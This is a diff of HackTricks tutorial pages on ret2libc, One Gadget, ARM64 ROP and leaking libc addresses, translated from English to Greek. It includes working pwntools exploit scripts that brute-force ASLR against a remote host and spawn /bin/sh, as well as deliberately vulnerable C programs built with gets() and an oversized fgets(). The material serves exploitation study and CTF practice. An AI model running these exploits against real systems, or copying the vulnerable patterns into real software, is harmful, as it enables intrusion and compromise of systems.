Είναι πιθανό να **δεν γνωρίζετε το libc που φορτώνει το δυαδικό αρχείο** (γιατί μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε κάποιες διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc** χρησιμοποιείται:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-address/
|
||||
{{#endref}}
|
||||
|
||||
And you can find a pwntools template for this in:
|
||||
Και μπορείτε να βρείτε ένα πρότυπο pwntools γι' αυτό στο:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-address/rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
|
||||
### Know libc with 2 offsets
|
||||
### Γνωρίζοντας το libc με 2 offsets
|
||||
|
||||
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
|
||||
Ελέγξτε τη σελίδα [https://libc.blukat.me/](https://libc.blukat.me/) και χρησιμοποιήστε **μερικές διευθύνσεις** συναρτήσεων μέσα στο libc για να ανακαλύψετε την **έκδοση που χρησιμοποιείται**.
|
||||
|
||||
## Bypassing ASLR in 32 bits
|
||||
## Παράκαμψη ASLR σε 32 bit
|
||||
|
||||
These brute-forcing attacks are **only useful for 32bit systems**.
|
||||
|
||||
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
|
||||
Αυτές οι επιθέσεις brute-force είναι **μόνο χρήσιμες για συστήματα 32bit**.
|
||||
|
||||
- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να κάνετε brute-force τη βασική διεύθυνση του libc (χρήσιμο για συστήματα 32bit):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
|
||||
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
|
||||
- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης.
|
||||
|
||||
## One Gadget
|
||||
|
||||
Execute a shell just jumping to **one** specific **address** in libc:
|
||||
Εκτελέστε ένα shell απλά πηδώντας σε **μία** συγκεκριμένη **διεύθυνση** στη libc:
|
||||
|
||||
{{#ref}}
|
||||
one-gadget.md
|
||||
@ -97,8 +85,7 @@ one-gadget.md
|
||||
|
||||
## x86 Ret2lib Code Example
|
||||
|
||||
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
|
||||
|
||||
Σε αυτό το παράδειγμα, η brute-force ASLR είναι ενσωματωμένη στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -106,18 +93,17 @@ c = remote('192.168.85.181',20002)
|
||||
c.recvline()
|
||||
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
p = ""
|
||||
p += p32(off + 0x0003cb20) #system
|
||||
p += "CCCC" #GARBAGE, could be address of exit()
|
||||
p += p32(off + 0x001388da) #/bin/sh
|
||||
payload = 'A'*0x20010 + p
|
||||
c.send(payload)
|
||||
c.interactive()
|
||||
p = ""
|
||||
p += p32(off + 0x0003cb20) #system
|
||||
p += "CCCC" #GARBAGE, could be address of exit()
|
||||
p += p32(off + 0x001388da) #/bin/sh
|
||||
payload = 'A'*0x20010 + p
|
||||
c.send(payload)
|
||||
c.interactive()
|
||||
```
|
||||
|
||||
## x64 Ret2lib Code Example
|
||||
|
||||
Check the example from:
|
||||
Δείτε το παράδειγμα από:
|
||||
|
||||
{{#ref}}
|
||||
../
|
||||
@ -125,11 +111,11 @@ Check the example from:
|
||||
|
||||
## ARM64 Ret2lib Example
|
||||
|
||||
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
|
||||
Στην περίπτωση του ARM64, η εντολή ret πηγαίνει εκεί που δείχνει το x30 registry και όχι εκεί που δείχνει το stack registry. Έτσι είναι λίγο πιο περίπλοκο.
|
||||
|
||||
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
|
||||
Επίσης στο ARM64, μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατόν να πηδήξεις στη μέση των εντολών και να τις μετατρέψεις σε νέες).
|
||||
|
||||
Check the example from:
|
||||
Δείτε το παράδειγμα από:
|
||||
|
||||
{{#ref}}
|
||||
ret2lib-+-printf-leak-arm64.md
|
||||
@ -137,11 +123,11 @@ ret2lib-+-printf-leak-arm64.md
|
||||
|
||||
## Ret-into-printf (or puts)
|
||||
|
||||
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
|
||||
Αυτό επιτρέπει να **διαρρεύσει πληροφορίες από τη διαδικασία** καλώντας `printf`/`puts` με κάποια συγκεκριμένα δεδομένα τοποθετημένα ως επιχείρημα. Για παράδειγμα, τοποθετώντας τη διεύθυνση του `puts` στο GOT σε μια εκτέλεση του `puts` θα **διαρρεύσει τη διεύθυνση του `puts` στη μνήμη**.
|
||||
|
||||
## Ret2printf
|
||||
|
||||
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
|
||||
Αυτό σημαίνει βασικά την κακή χρήση ενός **Ret2lib για να το μετατρέψει σε μια ευπάθεια μορφοποίησης συμβολοσειρών `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσει το printf με τις τιμές για να το εκμεταλλευτεί (ακούγεται άχρηστο αλλά είναι δυνατό):
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
@ -150,16 +136,16 @@ This basically means abusing a **Ret2lib to transform it into a `printf` format
|
||||
## Other Examples & references
|
||||
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
- Ret2lib, given a leak to the address of a function in libc, using one gadget
|
||||
- Ret2lib, δεδομένης μιας διαρροής στη διεύθυνση μιας συνάρτησης στη libc, χρησιμοποιώντας ένα gadget
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
|
||||
- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')`
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||||
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
|
||||
- 64 bits, ASLR ενεργοποιημένο, χωρίς canary, stack overflow στο main από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα gadget.
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
|
||||
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
|
||||
- 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη συνάρτηση write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα gadget.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
|
||||
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
|
||||
- Χρησιμοποιεί μια μορφή συμβολοσειράς για να διαρρεύσει το canary από το stack και μια υπερχείλιση buffer για να καλέσει το system (είναι στο GOT) με τη διεύθυνση του `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
|
||||
- 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κακή ευρετηρίαση για να διαρρεύσει διευθύνσεις της libc και του heap από το stack. Κακή χρήση της υπερχείλισης buffer για να κάνει ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση του heap είναι απαραίτητη για να παρακαμφθεί μια έλεγχο).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,34 +4,30 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
|
||||
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
|
||||
[**One Gadget**](https://github.com/david942j/one_gadget) επιτρέπει την απόκτηση ενός shell αντί να χρησιμοποιήσετε **system** και **"/bin/sh". One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell (`execve("/bin/sh")`) χρησιμοποιώντας μόνο μία **διεύθυνση**.\
|
||||
Ωστόσο, κανονικά υπάρχουν κάποιους περιορισμούς, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL` Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλά πρέπει να στείλετε μερικές ακόμα NULL τιμές ώστε να αποφευχθεί ο περιορισμός.
|
||||
|
||||
.png>)
|
||||
|
||||
```python
|
||||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
|
||||
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
|
||||
Για τη διεύθυνση που υποδεικνύεται από το One Gadget πρέπει να **προσθέσετε τη βασική διεύθυνση όπου φορτώνεται το `libc`**.
|
||||
|
||||
> [!TIP]
|
||||
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
|
||||
> Το One Gadget είναι μια **μεγάλη βοήθεια για τις τεχνικές Arbitrary Write 2 Exec** και μπορεί να **απλοποιήσει τις αλυσίδες ROP** καθώς χρειάζεται μόνο να καλέσετε μία διεύθυνση (και να πληροίτε τις απαιτήσεις).
|
||||
|
||||
### ARM64
|
||||
|
||||
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
|
||||
Το github repo αναφέρει ότι **υποστηρίζεται το ARM64** από το εργαλείο, αλλά όταν το εκτελείτε στο libc ενός Kali 2023.3 **δεν βρίσκει κανένα gadget**.
|
||||
|
||||
## Angry Gadget
|
||||
|
||||
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
|
||||
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
|
||||
|
||||
Από το [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Εμπνευσμένο από το [OneGadget](https://github.com/david942j/one_gadget) αυτό το εργαλείο είναι γραμμένο σε python και χρησιμοποιεί [angr](https://github.com/angr/angr) για να δοκιμάσει περιορισμούς για gadgets που εκτελούν `execve('/bin/sh', NULL, NULL)`\
|
||||
Αν έχετε εξαντλήσει τα gadgets για να δοκιμάσετε από το OneGadget, το Angry Gadget προσφέρει πολύ περισσότερα με περίπλοκους περιορισμούς για να δοκιμάσετε!
|
||||
```bash
|
||||
pip install angry_gadget
|
||||
|
||||
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,65 +2,58 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ret2lib - NX bypass with ROP (no ASLR)
|
||||
|
||||
## Ret2lib - Bypass NX με ROP (χωρίς ASLR)
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void bof()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
}
|
||||
|
||||
void main()
|
||||
{
|
||||
printfleak();
|
||||
bof();
|
||||
printfleak();
|
||||
bof();
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary:
|
||||
|
||||
Συγκέντρωση χωρίς canary:
|
||||
```bash
|
||||
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
|
||||
# Disable aslr
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### Βρείτε την απόσταση
|
||||
|
||||
### Find offset
|
||||
### x30 απόσταση
|
||||
|
||||
### x30 offset
|
||||
|
||||
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
|
||||
Δημιουργώντας ένα μοτίβο με **`pattern create 200`**, χρησιμοποιώντας το και ελέγχοντας για την απόσταση με **`pattern search $x30`** μπορούμε να δούμε ότι η απόσταση είναι **`108`** (0x6c).
|
||||
|
||||
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
|
||||
Ρίχνοντας μια ματιά στη διασπασμένη κύρια συνάρτηση μπορούμε να δούμε ότι θα θέλαμε να **πηδήξουμε** στην εντολή για να πηδήξουμε απευθείας στο **`printf`**, της οποίας η απόσταση από το σημείο που φορτώνεται το δυαδικό είναι **`0x860`**:
|
||||
|
||||
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Find system and `/bin/sh` string
|
||||
### Βρείτε τη συνάρτηση system και τη συμβολοσειρά `/bin/sh`
|
||||
|
||||
As the ASLR is disabled, the addresses are going to be always the same:
|
||||
Καθώς το ASLR είναι απενεργοποιημένο, οι διευθύνσεις θα είναι πάντα οι ίδιες:
|
||||
|
||||
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Find Gadgets
|
||||
### Βρείτε Gadgets
|
||||
|
||||
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
|
||||
|
||||
Using rooper an interesting gadget was found:
|
||||
Πρέπει να έχουμε στη **`x0`** τη διεύθυνση της συμβολοσειράς **`/bin/sh`** και να καλέσουμε τη **`system`**.
|
||||
|
||||
Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget:
|
||||
```
|
||||
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
|
||||
```
|
||||
|
||||
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
|
||||
Αυτή η συσκευή θα φορτώσει το `x0` από **`$sp + 0x18`** και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα πηδήξει στο x30. Έτσι, με αυτή τη συσκευή μπορούμε **να ελέγξουμε το πρώτο επιχείρημα και στη συνέχεια να πηδήξουμε στο system**.
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
system = libc.sym["system"]
|
||||
|
||||
def expl_bof(payload):
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
|
||||
# Ret2main
|
||||
stack_offset = 108
|
||||
@ -90,80 +83,72 @@ p.sendline(payload)
|
||||
p.interactive()
|
||||
p.close()
|
||||
```
|
||||
|
||||
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
|
||||
|
||||
## Ret2lib - Παράκαμψη NX, ASL & PIE με διαρροές printf από τη στοίβα
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void printfleak()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nPrintf>\n");
|
||||
fgets(buf, sizeof(buf), stdin);
|
||||
printf(buf);
|
||||
char buf[100];
|
||||
printf("\nPrintf>\n");
|
||||
fgets(buf, sizeof(buf), stdin);
|
||||
printf(buf);
|
||||
}
|
||||
|
||||
void bof()
|
||||
{
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
char buf[100];
|
||||
printf("\nbof>\n");
|
||||
fgets(buf, sizeof(buf)*3, stdin);
|
||||
}
|
||||
|
||||
void main()
|
||||
{
|
||||
printfleak();
|
||||
bof();
|
||||
printfleak();
|
||||
bof();
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
Compile **without canary**:
|
||||
|
||||
Συγκέντρωση **χωρίς καναρίνι**:
|
||||
```bash
|
||||
clang -o rop rop.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
### PIE και ASLR αλλά χωρίς canary
|
||||
|
||||
### PIE and ASLR but no canary
|
||||
- Γύρος 1:
|
||||
- Διαρροή του PIE από τη στοίβα
|
||||
- Κατάχρηση bof για επιστροφή στο main
|
||||
- Γύρος 2:
|
||||
- Διαρροή της libc από τη στοίβα
|
||||
- ROP: ret2system
|
||||
|
||||
- Round 1:
|
||||
- Leak of PIE from stack
|
||||
- Abuse bof to go back to main
|
||||
- Round 2:
|
||||
- Leak of libc from the stack
|
||||
- ROP: ret2system
|
||||
### Διαρροές Printf
|
||||
|
||||
### Printf leaks
|
||||
|
||||
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
|
||||
Ορίζοντας ένα breakpoint πριν καλέσουμε το printf, είναι δυνατόν να δούμε ότι υπάρχουν διευθύνσεις για επιστροφή στο binary στη στοίβα και επίσης διευθύνσεις libc:
|
||||
|
||||
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
|
||||
Δοκιμάζοντας διαφορετικά offsets, το **`%21$p`** μπορεί να διαρρεύσει μια διεύθυνση binary (PIE bypass) και το **`%25$p`** μπορεί να διαρρεύσει μια διεύθυνση libc:
|
||||
|
||||
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
|
||||
|
||||
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
|
||||
Αφαιρώντας τη διαρρεύσουσα διεύθυνση libc από τη βασική διεύθυνση της libc, είναι δυνατόν να δούμε ότι το **offset** της **διαρρεύσουσας διεύθυνσης από τη βάση είναι `0x49c40`.**
|
||||
|
||||
### x30 offset
|
||||
### offset x30
|
||||
|
||||
See the previous example as the bof is the same.
|
||||
Δείτε το προηγούμενο παράδειγμα καθώς το bof είναι το ίδιο.
|
||||
|
||||
### Find Gadgets
|
||||
### Βρείτε Gadgets
|
||||
|
||||
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
|
||||
|
||||
Using rooper another interesting gadget was found:
|
||||
Όπως στο προηγούμενο παράδειγμα, πρέπει να έχουμε στο **`x0`** τη διεύθυνση της συμβολοσειράς **`/bin/sh`** και να καλέσουμε **`system`**.
|
||||
|
||||
Χρησιμοποιώντας το rooper, βρέθηκε ένα άλλο ενδιαφέρον gadget:
|
||||
```
|
||||
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
|
||||
```
|
||||
|
||||
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
|
||||
Αυτή η συσκευή θα φορτώσει το `x0` από **`$sp + 0x78`** και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα πηδήξει στο x30. Έτσι, με αυτή τη συσκευή μπορούμε να **ελέγξουμε το πρώτο επιχείρημα και στη συνέχεια να πηδήξουμε στο system**.
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
|
||||
def leak_printf(payload, is_main_addr=False):
|
||||
p.sendlineafter(b">\n" ,payload)
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
if is_main_addr:
|
||||
response = response[:-4] + b"0000"
|
||||
return int(response, 16)
|
||||
p.sendlineafter(b">\n" ,payload)
|
||||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||||
if is_main_addr:
|
||||
response = response[:-4] + b"0000"
|
||||
return int(response, 16)
|
||||
|
||||
def expl_bof(payload):
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
p.recv()
|
||||
p.sendline(payload)
|
||||
|
||||
# Get main address
|
||||
main_address = leak_printf(b"%21$p", True)
|
||||
@ -213,5 +198,4 @@ p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,84 +1,77 @@
|
||||
# Leaking libc address with ROP
|
||||
# Διαρροή διεύθυνσης libc με ROP
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Quick Resume
|
||||
## Γρήγορη Ανασκόπηση
|
||||
|
||||
1. **Find** overflow **offset**
|
||||
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
|
||||
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
|
||||
4. With the library, **calculate the ROP and exploit it**
|
||||
1. **Βρείτε** την **υπερχείλιση** **offset**
|
||||
2. **Βρείτε** το gadget `POP_RDI`, τα gadgets `PUTS_PLT` και `MAIN`
|
||||
3. Χρησιμοποιήστε τα προηγούμενα gadgets για να **διαρρεύσετε τη διεύθυνση μνήμης** του puts ή άλλης συνάρτησης libc και **βρείτε την έκδοση libc** ([κατεβάστε το](https://libc.blukat.me))
|
||||
4. Με τη βιβλιοθήκη, **υπολογίστε το ROP και εκμεταλλευτείτε το**
|
||||
|
||||
## Other tutorials and binaries to practice
|
||||
## Άλλοι οδηγοί και δυαδικά για εξάσκηση
|
||||
|
||||
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
Αυτός ο οδηγός θα εκμεταλλευτεί τον κώδικα/δυαδικό που προτείνεται σε αυτόν τον οδηγό: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||
Άλλοι χρήσιμοι οδηγοί: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
|
||||
## Code
|
||||
|
||||
Filename: `vuln.c`
|
||||
## Κώδικας
|
||||
|
||||
Όνομα αρχείου: `vuln.c`
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
char buffer[32];
|
||||
puts("Simple ROP.\n");
|
||||
gets(buffer);
|
||||
char buffer[32];
|
||||
puts("Simple ROP.\n");
|
||||
gets(buffer);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||
```
|
||||
|
||||
## ROP - Leaking LIBC template
|
||||
|
||||
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
|
||||
Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευάλωτο δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο:
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
|
||||
## 1- Finding the offset
|
||||
|
||||
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
|
||||
## 1- Εύρεση του offset
|
||||
|
||||
Το template χρειάζεται ένα offset πριν συνεχίσει με το exploit. Αν παρέχεται κάποιο, θα εκτελέσει τον απαραίτητο κώδικα για να το βρει (κατά προεπιλογή `OFFSET = ""`):
|
||||
```bash
|
||||
###################
|
||||
### Find offset ###
|
||||
###################
|
||||
OFFSET = ""#"A"*72
|
||||
if OFFSET == "":
|
||||
gdb.attach(p.pid, "c") #Attach and continue
|
||||
payload = cyclic(1000)
|
||||
print(r.clean())
|
||||
r.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
gdb.attach(p.pid, "c") #Attach and continue
|
||||
payload = cyclic(1000)
|
||||
print(r.clean())
|
||||
r.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
```
|
||||
|
||||
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
|
||||
|
||||
**Εκτελέστε** `python template.py` θα ανοίξει μια κονσόλα GDB με το πρόγραμμα που έχει καταρρεύσει. Μέσα σε αυτήν την **κονσόλα GDB** εκτελέστε `x/wx $rsp` για να αποκτήσετε τα **bytes** που θα αντικαταστήσουν το RIP. Τέλος, αποκτήστε το **offset** χρησιμοποιώντας μια **κονσόλα python**:
|
||||
```python
|
||||
from pwn import *
|
||||
cyclic_find(0x6161616b)
|
||||
```
|
||||
|
||||
.png>)
|
||||
|
||||
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
|
||||
Αφού βρείτε την απόσταση (σε αυτή την περίπτωση 40) αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτή την τιμή.\
|
||||
`OFFSET = "A" * 40`
|
||||
|
||||
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
|
||||
Ένας άλλος τρόπος θα ήταν να χρησιμοποιήσετε: `pattern create 1000` -- _εκτελέστε μέχρι ret_ -- `pattern seach $rsp` από το GEF.
|
||||
|
||||
## 2- Finding Gadgets
|
||||
|
||||
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
|
||||
## 2- Εύρεση Gadgets
|
||||
|
||||
Τώρα πρέπει να βρούμε ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουμε `puts` για να βρούμε τη **libc** που χρησιμοποιείται, και αργότερα για να **εκκινήσουμε την τελική εκμετάλλευση**.
|
||||
```python
|
||||
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||||
MAIN_PLT = elf.symbols['main']
|
||||
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
|
||||
log.info("Puts plt: " + hex(PUTS_PLT))
|
||||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||
```
|
||||
Ο `PUTS_PLT` είναι απαραίτητος για να καλέσει τη **συνάρτηση puts**.\
|
||||
